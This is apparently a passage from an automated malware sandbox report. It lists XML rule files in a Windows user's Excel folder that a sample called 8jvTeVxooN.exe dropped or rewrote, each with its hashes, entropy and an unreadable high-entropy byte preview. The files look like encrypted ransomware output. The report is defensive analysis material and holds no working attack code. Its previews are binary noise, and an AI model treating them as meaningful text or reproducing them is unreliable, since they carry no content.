Preview:	<?xml...z.{..........Kn..'..o.................i.4^.._D\|&.^.!:L.H..}....#....S].,.........u!s...x.y.`./+..Q...c........i...r.'..VEn..iG...............s......1..X.A.....2......A..8r...y../H.=....nxO.V.~..W.~&.@^.T..c\.`..N#,...\"S1E...?..G...P...J.B..e..E..0.......=..U..a.`S.X.2.$e.xL......m.x.......u.Y.n.....{..R..oe..E$....K[..b.5...(=.).n.......z.V.oW....S....b'g..a?Z.{.....23..qr....F....xZ\|.c.`....x..yo.L4.;M.6.....q...q.=.TH..X..............r...5.q`&0.q.......?eg.....[.8`..b.3..TS.......t.\.Z..k..Y.lL.rS.... ._......$X..>.=3C..<.".4.L.....i7..!_.D.....=..EpjT.j.kL-Tr.g...Q....nQB.Fz.....\|..a.......\..5.5M.G...N....z.'&B?_9..t...Qt..h..us.8N...3...;..>..>...^2.1.xU..;$..\}q.p\|-#.....C.....=..-..Ox.C....F..~.x....2.....D..iU...d......z..k..!.)1H...;M.........5..+.L.V....,w.....(.<>... ..>W)9...;...U.,.....g\.7.Mb.....E.D.>)$..,(.../.Q.+'.Z..V...r_JS!l..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.829944746138488
Encrypted:	false
SSDEEP:	24:W7MzuJ3P9dnHEmMmFBu5GjWV6qPWrY/uWmcSxvZ7BJObD:whl5XMmXuugmjt5gD
MD5:	E77DFA3AF83259C67F1AA1753441B5F3
SHA1:	AA4E8E8C36DCC253F703C013EB919D886CEE251F
SHA-256:	3DD43A2C63D83BDFB6401A11C84413E50179E14051EC57100E5DD6F3AD8C72D8
SHA-512:	54F45B4DD7604F6B4382741D9EF6A0375A030038F2E774F6FB9E71B23F6922CB9DDAFF095E4ED949B48B40F91ECC1A9C80AB7C4AC60FA09C43AFF5750BB1A6AD
Malicious:	false
Preview:	<?xml.bM#..G...[.%k...vf......H....^...l.s..\|.e.]1.Zk..9...8....ckp...V...,......uy.>..~...6.)x.,..y~9..jVL. ..<...K.........5.$....#fq....\J....8.... ......Od_".r.......E....m.....ZJ..#.I.0Au..O..eEXE#.qe.gk..(.{.0P...Sx..O.{B.oJ..]Ru.e...O..JE....T....N.........?..,!I..\|..n......Ylf....[+C.0b.(......z.s.f._.b.2.Hd.....)......"..(..7..Ig.S].x:.V..... ...m......c1..y..S.I..6.$.(....r......5#.w(./e...X.8......H..J..7.o.^b6.0.x....KEl.GzU...F..9.s.......O.K..X... .2.X.k..5....=...C.....H}..B.U..%...G~q.....`%...!....hT...Z..Yx.6>..k.<s.s.`..d...3%\|.wr._.......b./....).4F.s).c..}.d.....\...l.iW...S...5....%C...pU..JR..m......".H.H.8..v.#.<...P.z.u..BK.jdr..J.{.f.S...'.......b`'Z.....Kh......hZ.C..?>....W.5lJ;..e...><....'}Q.....Y.......z9^....t4.'...4......`..[{.@....s.B...v........P..O..c.@.........U.qJ8Uh>Fi..s.k..D..o.i..7.a....MLn[..G>_.p..3X7.2.k....}..p}.V...W.k>..>.@.-S.<.. .g....ri)1>?FH".......%n!N.......#./#....lg.q..@Lv.W`t]./

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.850281751040824
Encrypted:	false
SSDEEP:	24:V6imNeP8C/T8nFY4dNQ1ZI0+3Sq8KUFxTiIhl4+BYdpc9c558gObD:VpB/mVSUhVUxTXl8ID
MD5:	BD611506C824459142C1DA20FD78E1E8
SHA1:	104A1DF59F5A9920BDD59A567994721687E2F1F6
SHA-256:	A7135B66D8E6F3F81E1F37CC4951EA3F34CED095E03133A0D1DCB8BEF08C0E92
SHA-512:	66457A65061D051124B5731667EFEA678323631FBF6AEE4A6A0062386EB401DBFE5AA5739F9A55EB7C926E519DF183C7DEA7CB77513DD7CB69F8721A77ACA254
Malicious:	false
Preview:	<?xmlR.W...w,[Xr.?.Y..?,.].......x.I!.e....uQ.k...=.G....V.....4Er...[...B..NH..+........^@..dJ....]G)....T...2....;...I.[...VFE\|.".y...DZ.;S.B.<e.....n.W....w...?.P......_..>.........e....<A.x...=.H.....5JU^....5:/....i..w.KG.=...uD\|...p....)...qS.KU...h5J..Cy.Ft.......=.FCboZ...G............x....S.o.nH526.b.i..1..^....x...<[.dmvY...,.H....h`.....r-_.0..\|......a~{.[ G...."..?ZD.@.Gq.)s...e...'.p.X.Q..$.9.^(.. .rE....@..igB..N..E.s!..D.._....c[....dwr......<..(.......E.J.......b.....5.TZSYFS9...o..$.7.h.....m.,Y..}.r....~..8..0..y.5..>l..wV........U............}[.LMk.. +.......n..F.j.e...%.?N\.NvUF.^Ge....,m5.........M...g.".IG5...}.qNz...;..W5..!.......-....K.lS.8.......fD.......^.]. ..7.d............Kk.V.=.n8b..,fgw}..T.(.?O....D.UO=.B.cGd.M.....(.\......F.M....Q...i..dlH.1.Uh..R...U.........a...V...r".a..\.a.&e..x.a..^.d2......k%..k..P..:..a....... ..m?.....2....d!.`...\|!....-.B$..o.m..r..-......2p.....h?.x..`T.V6a.a=..".......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.888117674994996
Encrypted:	false
SSDEEP:	48:qkNUHnRUgv85xiKC1nI8Pj8lprK2Wc1+hg3kAD:VNUKgv85SnI8L8lp8k+6R
MD5:	DBC610EC9D5065447A0639E802D14B1B
SHA1:	523FB30FB1E4B6D6853467BECE4FDE6D1B115A3E
SHA-256:	CBE8438BB45E617A81CD746D35C24CADAE21DC23473AC64020D28E448FADCDD0
SHA-512:	150775766E059C9B8D12D5BAF1AE5E996DA6DFC4F05910E315786C2DD5532F0546C2D27F0F8FDF988760F8ABC36A981B2C88995F37EBEFEE7EE994CE0C346E41
Malicious:	false
Preview:	<?xml.....1.5....L...c.e... ....Je.(........p...h.5o.".H2...X.......Et.!..a...2......4.(4...N.\|v.`t.J...]M........a.qK6......S.D..I./.?L...M...,B.<..l.nS....}l4.. eb....ub...r..Va..R....\'r0..>t%kG.Y.!..LL.....0y.t...:z.F...0...xx.1..z.=ao..s9...3....5.....2...^.........9(A..i.}..).....5.>H<.L5n'o.2..J.....'.5e..@.K\|d..Q.Kn......!....6".?!!..K....P.......2.5..3.sRK.^.X....!...y0.U.!3..dI...=..!#."P8RA.Q.xm.b2.....")....S.C..(...a<s.#..........).....Jp8..I..Y?x.m...;.r..P4..Je.....I.....n..T...F9=] l..\|.3..+..w.;8u.....p..~...tc..c...B....[...ii..)q..{.4..p..(o.H....GR.z.....D3..v...k#.....G....9.}(.6..CR....Z....u\...6..LS..;...^.'...i...&..T.......<..;....u.'.....-w7...m.}...\.VN...l......R.(.2..f...nP_v..........'..C.r~n.y...A.J..B..B...i...U.5....../q6. o@.'..h....>VL..'..w...X.l.db..\"..Wc.-.#.5L..)].$...g>X...[..Yt....L.=..R.d.c=........@.......x..Zn.0.JF.aj....;...'...Hk.#..Y.?...*W...+.."sE/....c,b.x.M.....D.....f.]..k....y(...:.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.85745263826356
Encrypted:	false
SSDEEP:	24:fMw0HS4vCjB4+fygBnZDKTbgXjNXuNZ10RSDzJZHSZnNmETEl1KObD:X0HSltygRgQXjNXuLGcJZyLm5D
MD5:	097A1DC45FCA22964BD8490D29C0DAB2
SHA1:	E070C802CC8FD4D0A2EB2FE6DBDACEF1FB5AD5E5
SHA-256:	D99E2480BCCBDACDF94B1AAACC6CB87941D35EB246299C599F21F5C83145C3BC
SHA-512:	CF2497577CAD7345295D2A89F73A8A353DD150623B9FF37E32DE5EF1361FCEB9FC1A58BFB18AFC9F83E00810ADA4FBBF3E030F3A2B2C3D69BB1B21DABA23840B
Malicious:	false
Preview:	<?xml.....V!f..lOx....._!.i...).....p..u$.~R.-zv)f.....G..D....RQK...E..t..e'.[.m.j..]Rl.W..T9;.t.:.p7m.U..Z.....3k...G.....l...<.....u.hz.=...T...c.....%.W4G.5....~kR.iF'.G..~..v.......0.....-;.o.\..J...2q..W.m0K..,....}...;.=".ppm..Qy.v..X/.c'......[ k..C...,.'......f..?./....\....]..P.k..A-......~.cr.L.HR..p.x...._..p8...9{^....t..DI...l/.Mc'6.Q..{..dL..EW..EgN......#...N.<..(C.....)...]8[...E.R..9'....Q.N29.W.AFT..s!..V..j..vqbP.D...j..j?.{...lv.(8.......+.......X(Q.6@.XdO..0:U.j..lu~....-u.3].j.b.].......j0W.....(......i......k.I.KN...Z.P..6!lqZ.0...?hIS.K.}...D.6....EKw......?.3.q.e......v3../n..f.&4I....h&.E`.^+.h.k... ..D....G...Y.....i...pO...1....I..0.....\|.y'f...JuEx.RN.....U...E%q.F...3...I....u`..t.}..>.._....m.....@...eW.l...a.q.$~9..-(.u..yI.?.W...c.1/..{N.2.lNZ..{N..."..L...".^.8..XY.,.......`U.K.C..(......Tf.$......W..x4....B.S..6....1:.\>........b7.Z...lJ}.+\.....bo....!..6....R[..z(.:.QX...B?.#'.._s.....M.N.....d..V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.871719366332739
Encrypted:	false
SSDEEP:	24:PG1rY8Cd/k8VceQF73Hz+7fJy5CmgLKyYZEeCVkVgNYBiINJj4JXoY9xv01fwObD:PcNglVcR73TElK1ZEvkVY/OjghIjD
MD5:	56BD15C96B63DD58313FF8C60994F79E
SHA1:	11AA6FAA03A394C7C688E3A0D165E54EB689865F
SHA-256:	6CDF84D11E41A89AA73FB29B257B27B056135C2F5A8A528015A2E4F0F4986149
SHA-512:	0CA5FBD323CC25A3AE12555872888E1FD9070D217D833927B32A81A33CE70FFA7A49828D3C8549BE11421717993A835A975D0A80EEEB22463E4511EE48EBCCD6
Malicious:	false
Preview:	<?xml37[.....9..B..b=....f.%..AR....r....#..H..6..k.x.RZ~T....hG.Q..........n....7u.P.....2.5D?)..N.q.v'a.xR....<...........;+.B..hX[.H.L.....'.._..w.{.`. E....TF.G......AJ.....W<.-T.mptX..!..?...G..]L...v.._.:...ZeEi.....1..h.r5...`...T]....\.4....)...X.q.e..+....a...R5.L...`.3KE<.4.s\H..M..kWw....3e'Q.........OH].l^....y....y....4...x~..'q:U.L....:.!.qy.~. :....f...-.LZ...A.r.....ULr.)^.$.F...s9;]D......b.}....(.a.Z...%..!...cr..Jr...8.......X4d...0z.g..C.....uKW.MZ..\w:....5r\|.....je...."5w....z.B....5..}........+e...3.m.HB..\|...+.\|..F..W....a:...R.:B...J#9I.-.N..Z.k.....U..........fR:....W...h....t..=.v#....f..@.N.......w......A.b....!.[V......r.......W..C....R.>.{j.q......-..9..^..WJM0B....,>.....6.....`..NO4.V..-[."..r.._CI......bz6qV.sO4.NG..Z'..#...P)..~.p.7..n#O.....@....q3f.[V...z....%..@4....\..3.n.:.z!$.b...9.{ff......7$$..p:,....g.d3M.s.m'`.c..e7..z.>..".w-...-.]4..L.8..G._Kw...Hh.xS?...JX..$....9..4./<...+J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.866488121827442
Encrypted:	false
SSDEEP:	24:cv39jL13cSFw+w0xiHeBSE+MHnhVKrjw6WYpa6N4st/TLzvn7oRKSvHpEHtzLwFe:u39jxVFw+wGi7E+MBVKrjJWYQ6N4ALM4
MD5:	8AE1C0561CADE18CC5CC37F7623B00B5
SHA1:	DFDEC54789A2823C77ED7CF7B840B63C769CC5C4
SHA-256:	730EE3B9E16DF8F06036DEBFB230F2960045EBE5D25AF54CA16C61CD67ED8FB1
SHA-512:	F6D34640C812482514131F8137121206BD14FAE19BFAA735C24DC87CE9AD2916A4845FB9D49D5F727E1CD20C040F655F7A2345B174843A59021F953D237A49E6
Malicious:	false
Preview:	<?xml3..N.v/.4..b..B..Z,\T{...S.Tq../..M0...x..raf.....VH..^^...'......)...[..J.1...H..9.$..[c....taS.7nk;MfJ?....)..ep.........]..?O..._I..k.L....w.....HUp.}N...9B......I.\|w.X.6....w..}!rg..x...;...\|.F.U....H.b........r{B......i.....x...w.4.........d...XG.&~.es.+E^..p...~x.....H9..3(.Wr.,..\.....P.c'.Q....R.'....F9.xS#.].jI....'...._..X...@.....gf.=jsT...z.+.u.6..6.4S..W...>..m....v......T......t.. ...eT2&............E../=.L;...5.U....+...%X.-a0...d...ww..fi....../:y...G...^mG.r..),dze..l+..............n.......g\.R.F...W.....G.`....K..D.a;.5.T.H^.....;...7.s.G.dF....xU...5.[.._$..:...q.[....;..........vJ..\|..M"../+{&Y......J...H^3.Brbf..C...Au.A..y.....?w7L[.....O&D...~...x.T7.Z.....Q.\.........\|....P.V.._.~.....c..mx-c..<.n/O@.r..L.Oc..Ou..C?1...$.......r&.=>.(Q..B-@.R....x..ubN...........R......;o.c..n.N..w.......R-v.f.C)=1TF....).*.......H0-.....p_6...q....\|.y[.......3."..rY.OA?g.......[0.....`.8.....{..).U@.........e.Lox..3.L.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.903038448242052
Encrypted:	false
SSDEEP:	48:a3kbG70Une+vxQB2nLkt52KjxQuRUeNWkizhq3Ob0njybYvD:a3kbG70Unef5D2GdRUeNWfs3uujyO
MD5:	B917B418E2042D14F5E644B1424C69DD
SHA1:	1285106C15A14A5358842417E922A1687E80B65E
SHA-256:	546F17CBD163B6A07D9B8126CBAACC88DD4B9C9E192824506CB0510672707CB3
SHA-512:	D243AC69E9FADAE59990EA5A1C01B58F8A8A6EF0F64168D5D90C8880A35F12E5BC32398DCF65ED25D14DEE4D4444A06A19225B9281F8BC4F75E72E225FF4C37C
Malicious:	false
Preview:	<?xml.....,'.+.E.p..."...i .4..#......Vs.o.V...+d.V..?x.d.]{.a.s.....l.A.m6..}z...>.;o).....=r..o.?.3.g.2..L8.d......H.......=.;.O..jw$.\|..HeP......)..Kz..\.V.{E..U...'......XUC..-...6=...._-....V.G.).T..GlQ..6..S._.....6...p....?aW._g..}..q._I..#.l.&&.1...l.1..2.....(....x........x..#'..i`Z...`...1..I_U1..3..7q.\|t.QP.Q.(..H...]k\|.0G.\|H.(.o.J...`W..E:...P>$$~.io.......O.....<l....~.-C...L...:'.3B..b.H...!...GU...@.;.p...6@.P..I....K..k$......73..#..ms....a%>A.z.......S.S...L/<..h.^...Wz$=y..\..8..Ys..Z...pe.)y...7.x.Y+..J..,..#..$..m..~....s....4.&\|i...4.y..FU......6....x... @....U...=.^]Y$.m.Hbn.;.!..3.=..$n../oqS..&..../....#.V..r..;6Q;.YO...]78...H.x.j..I.<;.u..Ue$M...>......E.TH...p%W.1...b&D.aY^..yw.L....Y.....K.rx..!..{3.Y....!.~..I\|.It)x."..C...~...... -..........k./\...:.?..q..aj.r.u..^..9..S...^.C..^..2..FD7O.&...@;R..%;'.././.._ZR.x..5...Y#I.1j.c.Z&.~.o..y-.....[.X.\^H....r8(Q.w.R..i._......;.\M&.P4..HT..7...e...w..]S`S.~[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.884172546586507
Encrypted:	false
SSDEEP:	24:aNtlapc7BPabeyOlz95QToEhojgWHNd5vnLq6+Jte+LbJA8KObD:adBbyP8Eh7mBDyrHJptD
MD5:	B5A7A0B8F5963920B33D883013AD50A6
SHA1:	04DE03B18BE18759F10A82CEF12EC7B7E4B4A95C
SHA-256:	D5CF89320C2C81215B94EF647E14F9623F198F8A88F2CDE6EC47A2CCC4CCF53A
SHA-512:	9A4F194210FC9D3A8851998F0B69266B498498E1602CC5EF784C1E85C2592DEF38400CCBF4E03CD4FFED9F85C547EAC34D77ECF87AD6120B13A526D58DA0BC0A
Malicious:	false
Preview:	<?xml{....c.rn.4".....E....+....%Z.o4....s.g.3y.}.6.kB..i..?......./sUD.qe... ny.B.....,....@>`.-/Qm@."..Q.....Z.....S/....8. c.M.'.L.0:.!3.9.N.O.......G..\.l....A....du..I.J..d>...-....T.....F;..y......v._.q..pl......L.n..S1.@a....l.y=7...../...Jl..m.b.. ..M......z.7.....[t,.2.R;;1N(.a.Z.)m.l..E.p.P.D......B.NUkM.n~c...`.s\|.^...#.....o.A..mb..Q#...../P,.7I.a.....%...z..y.e.KE...j.=......v.........E...U....X..h.>f...d..-...a7..))........4.Z.Ilf.^Y.~X...~......o[........0O?...f..t..#9=....D ..{H.+V..}...@H.Q.....+p-..,......^:N../..Ki.^^...\={ug!..J.k....k.bJ.6.&.Rq.c....k...#&.q..E{.ED.V.&1yfw..F.%a.........1\|l.2E9...........$.M.<&.../...K..p..c^{..."....&........jec.d.......P....i..".I..G.:w$.f)l0.Z.. !F.m.........!..dxI.S.gt.p...L?'W.......xS.5.._._......vEi.. .m.o.K......J.n^B.V.+.....-}...e....1..Bb.....g:.j.D.....!.:...^.=.T.;^.5Rs=.R...0../N.,...^..%.:}:..]..N....q....).....]......MH)..N..'.\|.Q..U.x.......P..k...A.( ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.895030771279621
Encrypted:	false
SSDEEP:	48:NLfdVxMELeD0t+ByIPAykO2CMbndBF+4P9eLItQRLwPD:NLfdVxbiDe+BXdkQS/F+OeLIGe
MD5:	57B6D89B96A0F1C421A51183E2F527CF
SHA1:	5035DCCEF9793C171BCCF256B74862AA15FB7603
SHA-256:	911882F798A5E1E616A050A3C820A9D96EDAD9F884B0ADD1FC25A8AAC0CDBBD3
SHA-512:	40467D29FDF39FF3EA1253D01BEA901E29DFFD5D69369631A46DCA4151E77A347AC117DB751C15C08C8F627A5892387D037DD65DF8004388BCDB98A7FA79FFA7
Malicious:	false
Preview:	<?xml.:k...N.=n..e=~.s6..0.r..S.79F...,.]k.^....p...y,ZA..O.p..+.M.x...mSX.........L.H..L...8.........p.....st..,...../.....HkQN.R.....4b..5....z.......4.....5.=....q......"...R..0...p..\...\..~._e........8.n.C.........l..t....n.....pI.0el....V..K-.-....d.t!.e...3.$.....p.}s........:.-L.T......g.sQ...s....?...h.S.dE`.B.].N.c.y&.....4.r.h.dUv.m........O5.......!xl...gt./...'.d_.3u..4jw.."./>.....:6.\|w.T..I.4.h/...h9k.}udb.C.y.].}'.~.6r.N6l3.U.<I....Nb.6.......c.<....m%...b.Xwr-.`.l%...[$Q...;X.8"4....N..&....57.ZM..</.Ar.d...%9..:......F.`.iP...rZT.wm.(t...&@.+.5.....C.GO..)X.J..p..e..2.X. ..f.I.Z..U;..'W+5.Z....qu.....Y...2g.?.....hu5..=.o.g.O..!....tL.u.Q.....M.i.H.[..y...M.WG.)...L;. ...I..A\|...).......?.dt..G.xh..;TX.........}Q.._..v .8.u...a....'.\|........b.mLG....!...v.U....L....=?....f\|S...?si...W.....Z<O...GG...B.c..\|...6UiJK.$^......9.g...Y....h....\6{ Q.G{......30....\....!.b..0E....=.."h.h.{......H....G...(.-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.8103808515930915
Encrypted:	false
SSDEEP:	24:gcZHlnJ0n3mCbQa2zsJXDWzjW6lWw1gW04okFysu1WZlEy9G2EAQYX0UdObD:gSHBSnRbQ1QJXDzw/xlu8ZlJvEAQdZD
MD5:	258A2405C5194F8520DF09EF7F6F79C8
SHA1:	D92E0DD8574C9E84D42E7D7C2ABCFAE4693A9460
SHA-256:	9828A05FAF68F224E4A340513BD4FB2428C06FC179045806A6979BE59105E043
SHA-512:	537A157A69D0B7494C0E7C51B62567F1A61EA4875CDE27EE1CDD43C6FC8DC8A67FFCCDB50008429D7A6779913BA1C8A85A0FAB49E14BE404407652E55D411171
Malicious:	false
Preview:	<?xml..gl.i...:...?.z..:......`...\.N.v..B...Q...l.27....XA%.b4..y7B.M0.\|.V.J..K.Z...K.Z6N..... .J.."..._.>W......./\.CZ..-..G<.....+V.L.Zw....u..v.u..n~....7<swC...N,m.N.....4k~.a....OH..O..5...z....J8.8.NY.....N.e.......QU8..a..u...T.:3..zl...sPs.W..u....wk..=.....L..V.z..JL.g....@..:..@..7.SFhoCq......=c...#....i....5..b..<...bLnCO.z..\|..lD.)..g........E.{7......E{X..>.!.a..l..&X.A...-?.....;Y6.Z5D.._..I.&.M..n..Yte..:....WS.d<MKy.....e......y..........m^YV.....C.m..R;.}q...w?....G.-..Q.A.K..{..uo..tE.w...'....z.{nh..D...I.#DN.^...l..D.D.1..44#iY"..MNT &...J..l....D...5._..`F..S\|....."..%a..2.P..A?.z.....7G.A>I....<......4y.Fta..D%....^G.u....JD....Ok.Ju$.}T....Th.n...S..< ..E...8....$h%..y..r...2i..Tr.(....}a.. ]mpG.t.u\Y.G...Ct....ukF.(...%.....:.#..(.u.3..{V..g...........k...>#A ....@..e.^"a4.sbC.X.n...L...x.a..j.\5u.)!..kRx........t..nT.....m...93nX.6.g"....(C.:[M.K'.:..P.C..?.........C6.\'\|~.....}....O;'N.e!u....N.o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.760007303825723
Encrypted:	false
SSDEEP:	24:ESgWG3aBNpO+0qkqld5aUeLUv0pCuEObD:2bKLpV02l+LUM8OD
MD5:	6CAC86FEED126FCFA91CF84C4BF7E7D6
SHA1:	802881801A1D84D448661C7E45397AF41F1D2DC5
SHA-256:	A0C78001413A7CA63567BE2EA79D896A75D880E082C3E8F549D5B58870BDB20B
SHA-512:	D2905F8B2D6A20D1B6BDDF93A6985735AC5B6718522200FF7B83122220AC2927D05A1D6DFB19600FE36A00B803E78AF4062DD9A21273E96A3341AE664B2EE5CD
Malicious:	false
Preview:	<?xml.=.....Pr9..b..z....<..k:.....B..I..I}..p.`..u\.B.2^...Nb....6.\|X_Xk...>....j..#....z3[k....7o..`....'.E....A..........d./.......4.uSgY[p....Z.9.......#....B...V.O.......HV,...y_t.Q.C..!.R.5.q?<.pm...~....O./..v..h...]..y.?.......W......Kp.N.`.k...Z.p)......(:.1..W.;.....D..gO..(..<Pw..4...!_....y.F..CqDu..#.}.U...&..O...`;.J..N].?{.ejC....s:sp..6....u..n..)...4s..4.@X....Z.+..&.S@K.:.&..V.L.c./J....bw...%.......Z.@"...z..QJG...7.....O.#..'..Y.v.<..[Y...$...D..j(L...$.r ..d<.......r#..^...D..%...t.(.%^....?J...g.}...vQ..]..5xb...)...P..........2 ..rf.'J.d..{..E.w.x.&-....? l.3{..2.FK.].[..Q........]..c..e.`.j.uc...,...j.s4.h..!.<.P.4(....<....sS^..]y....=?.[ .:..B)..6...n...i.V@.=.\.w....<a..0f...../>8.n.a!x.PC.. .+.q..8#.B.B.B..Y\|w....J.K#*.........%..,j...Q,T$...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.910375344809062
Encrypted:	false
SSDEEP:	48:JmBbgm513GQbdcHoiYDVclEDji2G42dLAiFmXRa4VLD:0x5MQ+gswjid3qha4t
MD5:	944248CA8790E3DE88D670163446BA9D
SHA1:	9BE518194DC8CF46BC8FD655F398BAB17B6AF80E
SHA-256:	7D1B9BF157AC548B3A24C9156DDAB057FD7D383726AC226E2774A413FD0D33C5
SHA-512:	704271FE01EE682A4F8AD240B3736E378C1E901179EDD8A6693D09AA78A563354BD3790BDCCED0712854D3E1142B8A5E3ECEEF72C69F1DA2D933B1C612FFDF4F
Malicious:	false
Preview:	<?xml?.:[.....G"O.v..+?..xr.$....z..1.b.j.]n.9%w..\|..".....h...F.1.T...x...l...l..F.p...R..AOKU.u.N..k...2..;..mD..U.."G.....+.M W.....LE/o.~DH..z....Q.y.h..;(...M(.Y.....L.B.'.Ab.. t.".&.....D-cG[.. ..F..+.......d...W0D%...1.1..Jl.............S.....j9Qo$...K.gPZ.....1...u..IT..M....V $.4.......6.)5.}...$.*4...p..5....H."..~iZ.4R........:N._.........../..%y.v....~.`$+...^.a...D.!.G-..YY@%I..&....7[n<.H.&S..L.Q2{....D....W3.j.P.?.d.ql...U.A...h..?.&{..W9.....C.c..k..Y...[.....K..=...s.q..r"....b........+....#.......@.d....(..k...TV.C......N7eA...Z.b..B...k.G(.J.:.X.%....4.a..R-..3.6.....z.....F....~D.]...........H.}e~...>... .S.;..!.8Z.......\|q....^.!.j.....8.zt._g...{.2V...}...I..=5.).....8i/XS.../I..Y.P....&....."?.'...3.?q./v.`....a....RJ.4.N..V.z...~.L7....\)e...8..J1..`-.y..v.&iO.I.u.G......M.!.v\|.u..6...R\.%\&#....NC7.`.o..N+9..?.....dR8.=./#/j..0v5C....(......v.DH........'...-..YXBq.\......u.1\.}b....S.b.].q...,....=.CLA."u.P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.8804266056923336
Encrypted:	false
SSDEEP:	48:FJXcp9MppZV0/t6QU8AYuvhOk9Ui92weCsludAmbhD:KCgU0AYuvhOWUi9hJ
MD5:	CB7A5A2A205EB48A0F762CADA216B0FF
SHA1:	AA96324DE8233AA9B53EFD9F5B00B8D629E8E4F4
SHA-256:	DAF8DFF4ECA4E547A28DD7E3740F26FAC110FBE16ECB8DCDBD6B74A52D3669FC
SHA-512:	A498DE25B22EB9616858C165437FA993AF6BADE9C628CB78A97351D0E57FA8FFBCB9B94204706BC0A2A3F767306FDB31B3EC9278C831FCC3CA3C8A6A446D6806
Malicious:	false
Preview:	<?xml.gs.i....z...".B. ..N.Q..A..,..9s.:!5....c..Z6......p...IdF.V.u.Z........7F~...x..H......D.U.......U.Wl .l....sl.....rn......N6.j..E.Mw........".v.vg...0X..2...&b..$.RZ..L..@f...'..m.M...X%..zm.[w.Cj....y......x..@a.\|O.N.7n...>L....S.&.bdJ..!..S.Kk....m}....C%q.I.mN.>.-.'.....\5...Ufh..Gfl.?...QY..s...z.k%./.........)S+5.2K.!..........."..ds'.7u.Q..]._.,.....E...@UbS.q...'6Pr.....6I.[t.5.$...@..}.b.."F..6.w8C0`wyA..Li.../`... .EQZ.......r..c..0.cbt.....v.<_........z,c~J...}..@.2p.fmw.!........./z....tOM..3t.....r.u....L.?'..7.)EfY......^m..1.B...n..C.g6..`.1(>.M.O.2.$.Sk%Q...T.I..c.>.;..:'B.......qu"&..@.j.s....?^.....t..`.....b..O..FN!..N.Sr...P..0J.^[e..`h./.r.<`t..^.8....i..g.#`'..j/`{.1l.....k.B3..,.s...B...g..".)..\|.J..-...8.V..?..va..T..}1^............ad......5a.P.X....j.m.....}5..w>I....O."...U....lD.Q.@..#.)..,..y.h.c......d.(....(...8.. .Gn(....!oR..g.....W.}.f.X8.o.\|...'..w...E=q4......}b...\|..h....:(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.833361491504235
Encrypted:	false
SSDEEP:	24:CfXJSBtZo2i4K1zHwgfpXWpdEMc646wRto1HR6kqIAVBEz4QS/J3bObD:CfXktZ/F4BfBSn66l1xEIAVBEz4QSyD
MD5:	80D2341574B180219075FCE908F0BA5A
SHA1:	F98656D565E54CA88B049798F166C6F01DEC4338
SHA-256:	C283C256A89CADA511EC871AC6DDEE008F1A4D14262BC9AE075228B72F38412B
SHA-512:	9482D7883B09B634202A9AA5A9F5646DBBBD35DD462BB9B4F22D02334EC85E290AB4366194FBC19E042C1F783663D461AE43DB40A69E37CA92D5CF94AF6877A6
Malicious:	false
